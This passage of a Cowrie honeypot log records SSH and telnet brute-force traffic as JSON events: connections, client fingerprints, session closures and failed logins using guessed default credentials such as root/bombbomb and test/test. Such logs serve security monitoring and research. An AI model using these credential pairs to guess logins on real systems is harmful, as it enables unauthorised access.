{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:46.493942Z","src_ip":"176.65.132.129","session":"bc9be41158f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:47.579626Z","src_ip":"176.65.132.129","session":"bc9be41158f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42322,"dst_ip":"10.17.0.5","dst_port":23,"session":"580709bcce0d","protocol":"telnet","message":"New connection: 152.42.224.71:42322 (10.17.0.5:23) [session: 580709bcce0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:48.250732Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37692,"dst_ip":"159.203.135.109","dst_port":22,"session":"311b5a0caa5c","protocol":"ssh","message":"New connection: 176.65.132.129:37692 (159.203.135.109:22) [session: 311b5a0caa5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:49.411863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:49.417399Z","src_ip":"176.65.132.129","session":"311b5a0caa5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:49.499793Z","src_ip":"176.65.132.129","session":"311b5a0caa5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":44992,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b182b4c43e8","protocol":"ssh","message":"New connection: 186.13.24.118:44992 (10.17.0.5:22) [session: 1b182b4c43e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:49.664413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:49.668766Z","src_ip":"186.13.24.118","session":"1b182b4c43e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:49.840191Z","src_ip":"186.13.24.118","session":"1b182b4c43e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:49.861147Z","src_ip":"176.65.132.129","session":"311b5a0caa5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42336,"dst_ip":"10.17.0.5","dst_port":23,"session":"06bf9dba4081","protocol":"telnet","message":"New connection: 152.42.224.71:42336 (10.17.0.5:23) [session: 06bf9dba4081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:50.067384Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"bombbomb","message":"login attempt [root/bombbomb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:50.539937Z","src_ip":"186.13.24.118","session":"1b182b4c43e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:50.945205Z","src_ip":"176.65.132.129","session":"311b5a0caa5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:51.711450Z","src_ip":"186.13.24.118","session":"1b182b4c43e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00227880477905,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:52.743604Z","src_ip":"152.42.224.71","session":"ae9db2d62b3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37708,"dst_ip":"159.203.135.109","dst_port":22,"session":"32bd1409f528","protocol":"ssh","message":"New connection: 176.65.132.129:37708 (159.203.135.109:22) [session: 32bd1409f528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:52.768187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:52.773259Z","src_ip":"176.65.132.129","session":"32bd1409f528","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:52.855126Z","src_ip":"176.65.132.129","session":"32bd1409f528","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste","message":"login attempt [teste/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:53.102503Z","src_ip":"176.65.132.129","session":"32bd1409f528","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:54.187640Z","src_ip":"176.65.132.129","session":"32bd1409f528","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.54.176.203","src_port":58286,"dst_ip":"159.203.135.109","dst_port":22,"session":"27bdaccc8699","protocol":"ssh","message":"New connection: 62.54.176.203:58286 (159.203.135.109:22) [session: 27bdaccc8699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:55.047076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:55.052893Z","src_ip":"62.54.176.203","session":"27bdaccc8699","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:55.178008Z","src_ip":"62.54.176.203","session":"27bdaccc8699","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"isik","message":"login attempt [root/isik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:55.670116Z","src_ip":"62.54.176.203","session":"27bdaccc8699","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34642,"dst_ip":"159.203.135.109","dst_port":22,"session":"404ad6412f6b","protocol":"ssh","message":"New connection: 176.65.132.129:34642 (159.203.135.109:22) [session: 404ad6412f6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:55.947948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:55.953285Z","src_ip":"176.65.132.129","session":"404ad6412f6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:56.035610Z","src_ip":"176.65.132.129","session":"404ad6412f6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:56.286774Z","src_ip":"176.65.132.129","session":"404ad6412f6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:56.774178Z","src_ip":"62.54.176.203","session":"27bdaccc8699","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:57.392595Z","src_ip":"176.65.132.129","session":"404ad6412f6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34654,"dst_ip":"159.203.135.109","dst_port":22,"session":"32ef48fd3a74","protocol":"ssh","message":"New connection: 176.65.132.129:34654 (159.203.135.109:22) [session: 32ef48fd3a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:59.162173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:59.167446Z","src_ip":"176.65.132.129","session":"32ef48fd3a74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:59.250575Z","src_ip":"176.65.132.129","session":"32ef48fd3a74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:51:59.497474Z","src_ip":"176.65.132.129","session":"32ef48fd3a74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:00.583032Z","src_ip":"176.65.132.129","session":"32ef48fd3a74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.77965211868286,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:00.719910Z","src_ip":"152.42.224.71","session":"acf15af85f14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.974624872207642,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:01.225224Z","src_ip":"152.42.224.71","session":"580709bcce0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34684,"dst_ip":"159.203.135.109","dst_port":22,"session":"9329f0080ef0","protocol":"ssh","message":"New connection: 176.65.132.129:34684 (159.203.135.109:22) [session: 9329f0080ef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:02.472710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:02.594034Z","src_ip":"176.65.132.129","session":"9329f0080ef0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:02.597921Z","src_ip":"176.65.132.129","session":"9329f0080ef0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:02.948104Z","src_ip":"176.65.132.129","session":"9329f0080ef0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:04.033787Z","src_ip":"176.65.132.129","session":"9329f0080ef0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43672,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f60b9d81a51","protocol":"telnet","message":"New connection: 152.42.224.71:43672 (10.17.0.5:23) [session: 8f60b9d81a51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:04.714042Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":45548,"dst_ip":"10.17.0.5","dst_port":22,"session":"3600aa9ab864","protocol":"ssh","message":"New connection: 80.94.92.184:45548 (10.17.0.5:22) [session: 3600aa9ab864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:05.758823Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55254,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ab5e6f7242c","protocol":"ssh","message":"New connection: 176.65.132.129:55254 (159.203.135.109:22) [session: 7ab5e6f7242c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:05.907541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:05.912328Z","src_ip":"176.65.132.129","session":"7ab5e6f7242c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"]